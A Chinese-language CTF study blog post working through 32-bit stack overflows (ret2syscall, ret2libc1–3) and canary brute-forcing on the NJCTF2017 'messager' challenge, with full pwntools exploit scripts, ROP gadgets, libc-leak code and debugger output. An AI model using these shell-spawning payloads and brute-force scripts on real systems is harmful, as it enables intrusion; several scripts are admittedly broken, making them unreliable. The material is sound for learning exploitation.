pwn入门-9-栈溢出ret2系列
这部分主要来源于ctf-wiki
ret2syscall 这个其实就是利用了系统调用(syscall), 什么是系统调用呢? 参看基础知识篇,这里没有system了,但是不影响getshell,因为system的底层是调用的execve系统调用,我们只需要找到gadget,来构造系统调用,调用execve,然后传入参数/bin/sh,即可. 即 execve(“/bin/sh”)
针对系统调用还有很多其他的利用方法,比如经典的ROW,就是说如果我们不能够执行execve getshell的话,我们可以想办法读取flag,毕竟我们的目的就是拿到flag,可以进行read open write将flag写入一个地方,然后打印出来即可.(后面再写相关的)
这里我们利用的是 execve(“/bin/sh”,NULL,NULL),系统调用的参数不是根据那个调用约定了. 不用栈传参了,都需要用到寄存器eax ebx ecx edx 分别存放 系统调用号和第 1 2 3 个参数, 所以他们的值分别为 0xb /bin/sh 0 0 , .rodata:080BE408 aBinSh db ‘/bin/sh’,0 这个地址里存放着/bin/sh
buf 108 + 4 ebp + retaddress
寻找gadget 要找到int 0x80 gadget,以及那几个pop, 利用ROPgadget ,具体语句及结果如下
123456789ROPgadget --binary rop --only 'pop|ret' | grep 'eax' ROPgadget --binary ret2syscall --only 'int' 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret0x080bb196 : pop eax ; ret 0x08049421 : int 0x80
exp所以payload构造如下binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b”a”*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408) + p32(int80)
1234567891011121314151617from pwn import *context.log_level= "debug"sh = process("./ret2syscall")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(sh,"break *0x8048e96")binsh = 0x080BE408edxecxebx = 0x0806eb90eaxret = 0x080bb196int80 = 0x08049421payload = b"a"*(108 + 4) + p32(eaxret) + p32(0xb) + p32(edxecxebx) + p32(0) + p32(0) + p32(0x080BE408)+p32(int80) sh.send(payload)sh.interactive()
关于esp和ret的关系,ret后esp怎么移动等,需要再看看
Pop 一次后, esp往高地址移动一个地址
为什么ret后就到了栈的下一个地址???
ret的时候, esp就指向了返回地址那一行,执行完pop后,esp移动到下一个gadget,然后ret弹出这个gadget的地址,作为下一条指令,由此一步步跟进
ret2libc 执行libc中的函数,一个关键点是找对libc版本.
通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)(它们的关系???????)
re2libc1 反汇编代码
先从它自身寻找system和/bin/sh
12345678ROPgadget --binary ret2libc1 --string '/bin/sh' 0x08048720 : /bin/sh # objdump -d ret2libc1 | grep "system"08048460 <system@plt>:8048611: e8 4a fe ff ff call 8048460 <system@plt>
其活了,就覆盖返回地址为system,然后给它传参就好了,问题是怎么传参呢?栈的结构是怎样的?
当走到返回地址这里时,进入call system,就相当于新调用了一个函数,
说实话这里还是不太懂流程,不过最好的办法就是自己去调试!
1234► 0xf7e4c623 <gets+291> push ecx <_IO_2_1_stdin_> 0xf7e4c624 <gets+292> call __uflow <__uflow> 0xf7e4c629 <gets+297> add esp, 0x10
在返回到system时,栈的结构就是这样子的了,符合上图..但也没啥…还是看书把..参见下面一章节
1200:0000│ esp 0xffffd4e0 ◂— 0x001:0004│ 0xffffd4e4 —▸ 0x8048720 ◂— das /* '/bin/sh' */
找到了俩地址之外,还要找好偏移,找偏移有很多种方法
// [sp+1Ch] [bp-64h]@1 这个可以吗?
123456789101112131415161718192021222324252627282930313233和pwn入门-1-初识里面的例子一样,eax作为字符串的开始地址,一直往上走到ebp,所以可以在gets这里下断点,输入一些a,然后查看栈的布局即可 0x8048677 <main+95> lea eax, [esp + 0x1c]0x804867b <main+99> mov dword ptr [esp], eax0x804867e <main+102> call gets@plt <gets@plt> pwndbg> stack00:0000│ esp 0xffffd540 —▸ 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'01:0004│ 0xffffd544 ◂— 0x002:0008│ 0xffffd548 ◂— 0x103:000c│ 0xffffd54c ◂— 0x004:0010│ 0xffffd550 ◂— 0x005:0014│ 0xffffd554 ◂— 0x2c307d /* '}0,' */06:0018│ 0xffffd558 ◂— 0x007:001c│ eax 0xffffd55c ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'pwndbg>08:0020│ 0xffffd560 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓ 7 skippedpwndbg>10:0040│ 0xffffd580 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓ 7 skippedpwndbg>18:0060│ 0xffffd5a0 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'... ↓ 7 skippedpwndbg>20:0080│ 0xffffd5c0 ◂— 'aaaaaaaa'21:0084│ 0xffffd5c4 ◂— 'aaaa'22:0088│ ebp 0xffffd5c8 ◂— 0x023:008c│ 0xffffd5cc —▸ 0xf7dfdfa1 (__libc_start_main+241) ◂— add esp, 0x1024:0090│ 0xffffd5d0 ◂— 0x1
上述例子中输入了108个a,所以缓冲区是108,然后ebp占4位,然后就是返回地址了
123456789from pwn import *sh = process("./ret2libc1")binsh = 0x08048720system = 0x08048460payload = b"a"*112 + p32(system) + b"b"*4 + p32(binsh) sh.send(payload)sh.interactive()
函数调用、序言与后记 《计算机安全导论深度实践》p99.
函数调用 为什么system后面是exit(就是返回地址),这是因为正常情况下,我们在call 一个函数的时候,也就是一个函数被调用的时候,会把它的返回地址压入栈中,等返回的时候取用,但是我们这里不是正常的call,而是直接覆盖掉了返回地址,所以就没有压栈的那个操作了,所以需要我们手动把返回地址写入里面. 此时push 返回地址进去后,esp就是下面序言的a状态
序言 序言就是函数开头处的代码,用于为函数准备栈和指针. IA-32(32位x86)体系结构中,序言内设指令为enter,具体是下面三条指令
123pushl %ebp //保存调用者的ebp值(用于被调用函数结束后,恢复之前调用函数的栈帧)movl %esp, %ebp //把esp赋值给ebp,这样ebp就到了 被调用函数的栈帧了subl %N, %esp //给局部变量开辟一块空间
后记 函数末尾处的代码,用于恢复栈和寄存器到函数调用之前的状态. IA-32(32位x86)体系结构中,后记内设指令是leave,具体内容是下面三条指令
123movl %ebp, %esp //把ebp的值赋值给esp,释放掉开辟的栈空间popl %ebp //让ebp指回调用者函数的栈帧ret //返回 ret包含了两条指令,pop 和 jump(参上)
示例 示例程序
1234567891011void foo(int x){ int a; a = x;}void bar(){ int b=5; foo(b);}
gcc -m32 -S prog.c 编译成汇编代码
123456789101112131415161718foo: pushl %ebp movl %esp, %ebp subl $16, %esp movl 8(%ebp), %eax movl %eax, -4(%ebp) leave retbar: pushl %ebp movl %esp, %ebp subl $16, %esp movl $5, -4(%ebp) pushl -4(%ebp) // 这一句是干什么的?????? 这一句和上一句组合,压入参数 call foo addl $4, %esp leave ret
123456789101112131415void foo(int x){ int a; a = x;}void bar(){ int b=5; foo(b);}void main(){ bar();}
关于参数等再怎么具体的,要看看编译原理? 之类的?
ret2libc2 相比ret2libc1,ret2libc2里没有/bin/sh,需要我们自己从其他渠道获取
1234567891008048490 <system@plt>:8048641: e8 4a fe ff ff call 8048490 <system@plt> 08048460 <gets@plt>:80486ba: e8 a1 fd ff ff call 8048460 <gets@plt> 0x0804872f : pop ebp ; ret0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret0x0804843d : pop ebx ; ret
因为ret2libc2里有gets函数,所以可以先利用这个,读取一个/bin/sh,写入到哪呢? 写入到bss段,为什么写入到bss段呢?bss段的地址又怎么选呢???????
写入进去后再从这里读取就可以了!
123456.data:0804A03F.bss:0804A040 ; ===========================================================================.bss:0804A040.bss:0804A040 ; Segment type: Uninitialized.bss:0804A040 ; Segment permissions: Read/Write
所以payload的构造
payload = b”a”*112 + gets + popret + buf + system + exit + buf
payload = b”a”*112 + gets + system + buf + buf
在gets的后面要跟一个pop xxx; ret 为什么呢? 因为这里本身是返回地址,在gets执行完后,要想继续执行的话,需要把后面的buf给弹出来,然后再ret,把system当成返回地址? 不知道这么理解对不对,可以调试一下看看
1234567891011from pwn import *sh = process("./ret2libc2")gets = 0x08048460system = 0x08048490buf = 0x0804A040popret = 0x0804843dpayload = b"a"*112 + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0) + p32(buf)sh.send(payload)sh.interactive()
感觉能行,但是有点小问题,,还有那这个payload是不是也可以呢?payload = b”a”*112 + p32(gets) + p32(system) + p32(buf) + p32(buf),如果按照上面的逻辑的话,是的,这个payload没问题! 所以,究其根本我们是伪造了函数执行过程,只要符合它这个流程,理解本质,根据具体情况构造就可以了!!
(不过为什么执行一条命令就EOF了?) 那是因为 system需要获取/bin/sh…你忘了,直接输入 id whoami什么的,肯定就一次,可以直接输入/bin/sh,也可以在exp里面在加一行 sh.send(b”/bin/sh”)
不行,send不行,要两个sendline才可以,send和sendline肯定有区别,回头写pwntools时(pwn入门-6)看一下
12345678910111213from pwn import *sh = process("./ret2libc2")gets = 0x08048460system = 0x08048490buf = 0x0804A040popret = 0x0804872fpayload = b"a"*112 + p32(gets) + p32(system) + p32(buf) + p32(buf)#payload = b"a"*112 + p32(gets) + p32(popret) + p32(buf) + p32(system) + p32(0) + p32(buf)sh.sendline(payload)sh.sendline(b"/bin/sh")sh.interactive()
ret2libc3 相比ret2libc2,system也没了,那就需要从libc中找了,libc的话没有给你版本,就需要泄露个函数地址,然后去找版本,泄漏的话,用puts输出.
是不是需要先换个libc版本呢???? 还是什么????????????????????/不对呀,既然需要泄漏函数..那libc版本就是固定的了,为什么呢….是动态链接的事?
先打印出libc_start_main_addr 再说
12345678910111213141516from pwn import *from Libcsearcher import Libcsearchersh = process("./ret2libc3")ret2libc3 = ELF("./ret2libc3")puts_plt = ret2libc3.plt['puts']libc_start_main_got = ret2libc3.got['__libc_start_main']main = ret2libc3.plt['main']payload1 = b"a"*112 + puts_plt + main + libc_start_main_gotsh.sendafter("Can you find it !?",payload1)libc_start_main_addr = u32(sh.recv()[0:4])print(libc_start_main_addr)
很奇怪,这个脚本感觉没什么问题,但是不行,下面的却可以…….感觉没有什么区别呀………..
1234567891011121314151617##!/usr/bin/env pythonfrom pwn import *from LibcSearcher import LibcSearchersh = process('./ret2libc3')ret2libc3 = ELF('./ret2libc3')puts_plt = ret2libc3.plt['puts']libc_start_main_got = ret2libc3.got['__libc_start_main']main = ret2libc3.symbols['main']payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])sh.sendlineafter('Can you find it !?', payload)print("get the related addr")libc_start_main_addr = u32(sh.recv()[0:4])print(hex(libc_start_main_addr))
sh.sendlineafter(‘Can you find it !?’, payload)
sh.sendafter(“Can you find it !?”,payload1)
区别在这里!!!!!
还有如果不加[0:4]会是怎样?
print(sh.recv())看看
b’\xb0\xde\xdf\xf7\nNo surprise anymore, system disappeard QQ.\nCan you find it !?’
所以是要前四个字节的意思!
libc的问题参见下面,目前就当已经解决libc的问题了,然后继续做,libcbase的话就是这个/lib/i386-linux-gnu/libc.so.6 (0xf7de5000),
然后就是获取binsh和system的地址,这个可以直接用objdump或者ROPgadget
objdump -d /lib/i386-linux-gnu/libc.so.6 | grep “system”
ROPgadget –binary /lib/i386-linux-gnu/libc.so.6 –string ‘/bin/sh’
其实泄露了地址,找到了gadget,就是最开始最简单的那个溢出了,
123456789101112131415161718192021from pwn import *from LibcSearcher import LibcSearchersh = process("./ret2libc3")ret2libc3 = ELF("./ret2libc3")libc = ELF("/lib/i386-linux-gnu/libc.so.6")puts_plt = ret2libc3.plt['puts']libc_start_main_got = ret2libc3.got['__libc_start_main']puts_got = ret2libc3.got['puts']main = ret2libc3.symbols['main']#system_addr = libcbase + libc.dump("system")#binsh_addr = libcbase + libc.dump("str_bin_sh")system_addr = 0xf7de5000 + 0x0003d3d0binsh_addr = 0xf7de5000 + 0x0017e1dbpayload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr])sh.sendline(payload)sh.interactive()
虽然这里没有成功,但还是看看exp,理解一下这个思路. 接收到泄露的地址后,用libcsearcher搜索一下,搜索到了之后,用libc_start_main_addr(这个就是虚拟地址) 减去 __libc_start_main的地址(在文件中的偏移),于是就得到了加载libc的基地址,就是这玩意 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000),然后再从libc里面搜索要用的函数或者字符串,加上加载的基地址就可以了.
123456789libc_start_main_addr = u32(sh.recv()[0:4])libc = LibcSearcher('__libc_start_main', libc_start_main_addr)libcbase = libc_start_main_addr - libc.dump('__libc_start_main')system_addr = libcbase + libc.dump('system')binsh_addr = libcbase + libc.dump('str_bin_sh')print "get shell"payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])sh.sendline(payload)
关于libc的问题 首先,之所以要泄露libc的版本是因为,我们要打一个远程的机器,要利用到它的libc库里的函数,但是不同版本的libc的函数位置等是不一样的,所以需要泄露远程机器的libc版本,然后本地patch进行调试,再打远程.
像很多博客中的例题,是没有远程环境的,所以就自己利用自己本地的环境,链接到自己本地的libc上,不过问题是,有时候libcsearch搜索自己本地的libc搜不出来,版本是错的,目前我也不知道为什么….当然这些工具本身就不是完美的.
这种题的话,如果出现上面的问题,可以就略过搜索libc的环节,直接用本地的就好了.
查看本地libc版本
123456# ldd --versionldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27Copyright (C) 2018 Free Software Foundation, Inc.This is free software; see the source for copying conditions. There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.Written by Roland McGrath and Ulrich Drepper.
一般来说都是链接到这个默认的,可以用ldd查看一下,然后直接执行这个文件也可以看到版本
12345678# ldd ret2libc3 linux-gate.so.1 (0xf7fd5000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7de5000) /lib/ld-linux.so.2 (0xf7fd6000) # /lib/i386-linux-gnu/libc.so.6 --versionGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.Copyright (C) 2018 Free Software Foundation, Inc.
获取libc版本的话可以有很多方式,可以到libc database网站上查,也可以用libcsearch这个库,但不一定百分百准确,
比如上面获取了libc_start_main_addr的地址后,就可以去网站上查 https://libc.blukat.me
但是确实不准……..
或者用libcsearch,在上面的代码基础上再加2行
libc = LibcSearcher(‘__libc_start_main’, libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump(‘__libc_start_main’)
1234567891011[+] There are multiple libc that meet current constraints :0 - libc-2.30-13.fc31.i6861 - libc-2.30-2-x862 - libc-2.30-3-x863 - libc-2.30-1-x864 - libc-2.32-16.mga8.x86_64_25 - libc-2.32-17.mga8.x86_64_26 - libc-2.32-20.mga8.x86_64_27 - libc-2.32-21.mga8.x86_64_28 - libc-2.32-18.mga8.x86_64_29 - libc-2.32-19.mga8.x86_64_2
咱也不知道为啥..就是不对,,可能数据库汇总没收录??不对呀,这就是很常见的2.27..
残留疑问输入到bss段中的/bin/sh有什么要求呢?哪里都可以输入吗?为什么输入到bss段?
好像是pip和github下载的libcsearch有区别
这个查的不准可以去别的地方查,把libc_start_main_addr打印出来后,去一些网址上查可以
https://www.jianshu.com/p/5525dde00053
为什么nm和exp里的输出不一样,是因为一个是静态,一个是动态加载后的吗
__libc_start_main 通过这个得到libc?
https://blog.csdn.net/weixin_45309916/article/details/119481681
pwn入门-8-os保护机制canary
分类、破解方法
简介 会把canary放到比返回地址还低的位置上,这样溢出的时候,从低地址向高地址溢出,就会覆盖掉canary.
例子
1234567#include <stdio.h>void main(){ char buf[10]; scanf("%s",buf);}
1234567# gcc -fno-stack-protector canary.c -o fno.out# python3 -c "print ('a'*30)" | ./fno.outSegmentation fault (core dumped)# gcc -fstack-protector canary.c -o fno.out# python3 -c "print ('a'*30)" | ./fno.out*** stack smashing detected ***: <unknown> terminatedAborted (core dumped)
64位和32位不一样,下面进行调试和查看反汇编代码来看一下
64位123456789101112131415161718192021222324252627pwndbg> disass mainDump of assembler code for function main: 0x00005555555546da <+0>: push rbp 0x00005555555546db <+1>: mov rbp,rsp 0x00005555555546de <+4>: sub rsp,0x20 0x00005555555546e2 <+8>: mov rax,QWORD PTR fs:0x28 0x00005555555546eb <+17>: mov QWORD PTR [rbp-0x8],rax 0x00005555555546ef <+21>: xor eax,eax 0x00005555555546f1 <+23>: lea rax,[rbp-0x12] 0x00005555555546f5 <+27>: mov rsi,rax 0x00005555555546f8 <+30>: lea rdi,[rip+0xa5] # 0x5555555547a4 0x00005555555546ff <+37>: mov eax,0x0 0x0000555555554704 <+42>: call 0x5555555545b0 <__isoc99_scanf@plt> 0x0000555555554709 <+47>: nop 0x000055555555470a <+48>: mov rax,QWORD PTR [rbp-0x8]=> 0x000055555555470e <+52>: xor rax,QWORD PTR fs:0x28 0x0000555555554717 <+61>: je 0x55555555471e <main+68> 0x0000555555554719 <+63>: call 0x5555555545a0 <__stack_chk_fail@plt> 0x000055555555471e <+68>: leave 0x000055555555471f <+69>: retEnd of assembler dump.
注意看8 17 和 48 52 61 63这几行, 第一部分是开头. 从fs寄存器的偏移0x28位置取出(具体请查阅其他资料)后,放入rax,然后放入rbp-0x8的位置存储canary
函数返回前,从栈上取出来,然后做xor对比,如果一样的话,就都是0,跳转到main + 68,正常结束,如果不一样的话,就调用__stack_chk_fail函数,报错了.
32位12345678910111213141516171819202122232425262728293031323334353637383940pwndbg> disass mainDump of assembler code for function main: 0x5655559d <+0>: lea ecx,[esp+0x4] 0x565555a1 <+4>: and esp,0xfffffff0 0x565555a4 <+7>: push DWORD PTR [ecx-0x4] 0x565555a7 <+10>: push ebp 0x565555a8 <+11>: mov ebp,esp 0x565555aa <+13>: push ebx 0x565555ab <+14>: push ecx 0x565555ac <+15>: sub esp,0x10 0x565555af <+18>: call 0x565555f9 <__x86.get_pc_thunk.ax> 0x565555b4 <+23>: add eax,0x1a20 0x565555b9 <+28>: mov ecx,DWORD PTR gs:0x14 0x565555c0 <+35>: mov DWORD PTR [ebp-0xc],ecx 0x565555c3 <+38>: xor ecx,ecx 0x565555c5 <+40>: sub esp,0x8 0x565555c8 <+43>: lea edx,[ebp-0x16] 0x565555cb <+46>: push edx 0x565555cc <+47>: lea edx,[eax-0x1934] 0x565555d2 <+53>: push edx 0x565555d3 <+54>: mov ebx,eax 0x565555d5 <+56>: call 0x56555440 <__isoc99_scanf@plt>=> 0x565555da <+61>: add esp,0x10 0x565555dd <+64>: nop 0x565555de <+65>: mov eax,DWORD PTR [ebp-0xc] 0x565555e1 <+68>: xor eax,DWORD PTR gs:0x14 0x565555e8 <+75>: je 0x565555ef <main+82> 0x565555ea <+77>: call 0x56555670 <__stack_chk_fail_local> 0x565555ef <+82>: lea esp,[ebp-0x8] 0x565555f2 <+85>: pop ecx 0x565555f3 <+86>: pop ebx 0x565555f4 <+87>: pop ebp 0x565555f5 <+88>: lea esp,[ecx-0x4] 0x565555f8 <+91>: retEnd of assembler dump.
关注28,35和65 - 77这几行,和64位的基本一样,就是canary的来源不同
题目练习NJCTF2017:messager 64位程序
开了canary,要想办法绕过,然后开了nx,栈不可执行,要用rop之类的
反汇编函数挺长的
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394__int64 __fastcall main(__int64 a1, char **a2, char **a3){ int optval; // [rsp+0h] [rbp-10h] BYREF __pid_t v5; // [rsp+4h] [rbp-Ch] unsigned __int64 v6; // [rsp+8h] [rbp-8h] v6 = __readfsqword(0x28u); sub_400B76(a1, a2, a3); puts("[+]start.."); addr.sa_family = 2; *(_WORD *)addr.sa_data = htons(0x15B3u); *(_DWORD *)&addr.sa_data[2] = htonl(0); len = 16; addr_len = 16; v5 = 0; puts("[+]socket.."); dword_602140 = socket(2, 1, 0); if ( dword_602140 < 0 ) { perror("socket"); return 0xFFFFFFFFLL; } optval = 1; setsockopt(dword_602140, 1, 2, &optval, 4u); puts("[+]bind.."); if ( bind(dword_602140, &addr, len) < 0 ) { perror("bind error"); return 0xFFFFFFFFLL; } puts("[+]listen.."); if ( listen(dword_602140, 1024) < 0 ) { perror("listen"); return 0xFFFFFFFFLL; } while ( 1 ) { fd = accept(dword_602140, &stru_602130, &addr_len); if ( fd == -1 ) { perror("accept"); return 0xFFFFFFFFLL; } send(fd, "Welcome!\n", 9uLL, 0); v5 = fork(); if ( v5 == -1 ) { perror("fork"); return 0xFFFFFFFFLL; } if ( !v5 ) break; close(fd); } signal(14, handler); alarm(3u); if ( (unsigned int)sub_400BE9() ) { if ( send(fd, "Message receive failed\n", 0x19uLL, 0) == -1 ) goto LABEL_14; } else if ( send(fd, "Message received!\n", 0x12uLL, 0) == -1 ) {LABEL_14: perror("send"); return 0xFFFFFFFFLL; } return 0LL;}sub_400BE9 __int64 sub_400BE9(){ char s[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v2; // [rsp+78h] [rbp-8h] v2 = __readfsqword(0x28u); printf("csfd = %d\n", (unsigned int)fd); bzero(s, 0x64uLL); if ( (unsigned int)recv(fd, s, 0x400uLL, 0) == -1 ) { perror("recv"); return 0xFFFFFFFFLL; } else { printf("Message come: %s", s); fflush(stdout); return 0LL; }}
sub_400BE9 这里接收的值的大小是0x400,超了s的104,存在栈溢出
所以可以让每次fork的子进程来尝试
问题是fork了之后是怎么个执行流? 父进程还在while循环,子进程呢?
fork调用的一个奇妙之处就是它仅仅被调用一次,却能够返回两次,它可能有三种不同的返回值:
(1)在父进程中,fork返回新创建子进程的进程ID;
(2)在子进程中,fork返回0;
(3)如果出现错误,fork返回一个负值。
所以父进程会一直在while里循环,不会实际上接收到值,子进程才会接收到值,所以子进程崩了不影响父进程,就可以进行爆破canary
Could not allocate dynamic translator buffer
重新安装一下checksec
查看端口根据进程号
netstat -anlp | grep “mess”
看不懂要怎么连接…先百度一波。应该要有端口的呀
socket(domain, type, protocol);
accept(fd, addr, addr_len);
listen(fd, n);
汇编代码里写哪了呢?
获取canary脚本
12345678910111213141516171819202122232425from pwn import *import socketcontext.log_level= "debug"canary = b""for i in range(0,8): for j in range(0,256): s = socket.socket() s.connect(("127.0.0.1",5555)) ret = s.recv(1024) j = b"a"*104 + chr(j).encode("utf-8") s.send(j) try: ret = s.recv(1024) if b"Message received!" in ret: print("success") canary += chr(j) print(canary) s.close() break except: continue
1
但是这个脚本的问题,好像在爆破canary的时候还是会有问题….先不管了…这个问题耽搁太久了,后面再研究
123456789101112131415161718192021222324252627282930from pwn import *import socketcontext.log_level= "debug"canary = b""for i in range(0,8): print("tiao nale") print(canary) for j in range(0,256): s = socket.socket() s.connect(("127.0.0.1",5555)) ret = s.recv(1024) data = b"a"*104 +canary + chr(j).encode("utf-8") #print(data) s.send(data) try: ret = s.recv(1024) if b"Message received!" in ret: #print("success") canary += bytes(chr(j).encode("utf-8")) break except Exception as e: print(e)s = socket.socket()s.connect(("127.0.0.1",5555))ret = s.recv(1024)s.send(b"a"*104+canary+b"a"*8 + p64(0x400bc6))print(s.recv(1024))
假设已经得到了canary了,下一步是覆盖返回地址,有onegadget还是system binsh?后门函数?
123456789101112ssize_t sub_400B76(){ int fd; // [rsp+Ch] [rbp-4h] fd = open("./flag", 0); if ( fd < 0 ) { perror("open flag failed"); exit(0); } return read(fd, &unk_602160, 0x64uLL);}
会把flag读到bss段,0x602160, 然后再构造一个puts把它打印出来吧,这里不需要libc了吗
溢出长度 + ebp + sub_400B76 + puts地址 + 返回地址 + 参数
nonono ,其实是这里藏了一个函数,为啥ida没有显示出来呢????
1234567891011.text:0000000000400BC6 push rbp.text:0000000000400BC7 mov rbp, rsp.text:0000000000400BCA mov eax, cs:fd.text:0000000000400BD0 mov ecx, 0.text:0000000000400BD5 mov edx, 64h ; 'd'.text:0000000000400BDA mov esi, offset unk_602160.text:0000000000400BDF mov edi, eax.text:0000000000400BE1 call _send.text:0000000000400BE6 nop.text:0000000000400BE7 pop rbp.text:0000000000400BE8 retn
1234567891011121314151617181920212223242526272829303132from pwn import *def leak_canary(): canary = '' while len(canary) != 8: for j in range(255): try: p = remote('127.0.0.1', 5555) p.recvuntil(b'Welcome!\n') payload = 'a' * (0x68) + canary + chr(j) p.send(payload) msg = p.recvuntil(b'\n') if b'received' in msg: canary += chr(j) p.close() break p.close() except: p.close() print(canary) return u64(canary.ljust(8, '\x00'))def pwn(): canary = leak_canary() p = remote('127.0.0.1', 5555) p.recvuntil(b'Welcome!\n') payload = b'a' * (0x68) + p64(canary) + b'a' * 8 + p64(0x400bc6) p.send(payload) p.interactive()pwn()
问题: 这个栈的104长度好像不太对
排错 寄,卡在了字符怎么表示这里,然后产生了一大堆的问题,最后调试分析后发现是python2与python3版本差别,对字符串和bytes表示不同的问题,有点乱
这里有一个问题,就是int怎么转byte
还有就是这样的程序怎么调试呢……….
还有str转bytei
留念一下你写的奇葩东西
123456789101112for j in [0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f"]: #print(j) s = socket.socket() s.connect(("127.0.0.1",5555)) ret = s.recv(1024) #j = b"a"*104 + j.to_bytes(1,'little') j = b"a"*104 + str(j).encode("utf-8") print(str(j)) s.send(j) #s.send(j.to_bytes(1,'little')) ret = s.recv(1024) print(ret)
首先,应该是爆破256个数字,这个是ascii码的范围? 然后不是str,而是chr, 对应的字符
12345678910111213141516from pwn import *import socketcontext.log_level= "debug"for j in range(0,256): #print(j) s = socket.socket() s.connect(("127.0.0.1",5555)) ret = s.recv(1024) #j = b"a"*104 + j.to_bytes(1,'little') j = b"a"*104 + chr(j).encode("utf-8") print(str(j)) s.send(j) #s.send(j.to_bytes(1,'little')) ret = s.recv(1024) print(ret)
b’aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00’b’Message received!\n’
然后就可以了!!! 为啥之前一直不行呢?….
还有就是break为什么break不出去呢? 当时可能就是因为是在这里一直没跳出去..所以以为一直没成功,其实成功l ,ret里明明有的,但是ret好像是bytes类型,而咱给的是字符串,所以不行. 在它前面加一个b就可以了!if b”Message received!” in ret:
123456789101112131415161718192021222324252627282930from pwn import *import socketcontext.log_level= "debug"# sh = process("./messager")#context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"break *0x8048e96")for j in range(0,256): #print(j) s = socket.socket() s.connect(("127.0.0.1",5555)) ret = s.recv(1024) j = b"a"*104 + chr(j).encode('latin-1') print(str(j)) s.send(j) try: ret = s.recv(1024) print(ret) print(type(ret)) #if "Message received" in ret: if "Message received!" in ret: print("success") print(j) s.close() break except: continue
但是有时候都进去输出success了 还是不能break,这是为啥. 把这两行给注释掉就可以了….为什么???
我猜是产生报错了.an integer is required (got type bytes) 果然!! chr(j)是不行的
1234if b"Message received!" in ret: #print("success") #canary += chr(j) break
各种各样编码的问题……..真的很奇怪诶…要怎么样才能避免呢?
然后爆破出一位canary了之后,继续爆破,爆破完了之后就可以栈溢出了
https://e3pem.github.io/2018/09/30/NJCTF2017/
如果正常的话,会返回messager received
为啥一直爆破不成功呢,很奇怪 为什么python2就可以呢? 为什么python3不行呢……..
对比一下后端接收到的看一下
Python2: Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcsfd = 5
successthis is34“
[+] Opening connection to 127.0.0.1 on port 5555: Donethis is30\x1e[*] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Donethis is31\x1f
[+] Opening connection to 127.0.0.1 on port 5555: DoneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00this is32
[] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: DoneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00this is33![] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: DoneAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00this is34“
python3:
Message come: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA””`*** stack smashing detected ***: terminated
感觉这里多了点东西?是的,为什么python2这里不显示呢?
这是第30个\x1e[] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Done这是第31个\x1f[] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Done这是第32个
[] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Done这是第33个![] Closed connection to 127.0.0.1 port 5555[+] Opening connection to 127.0.0.1 on port 5555: Done这是第34个“
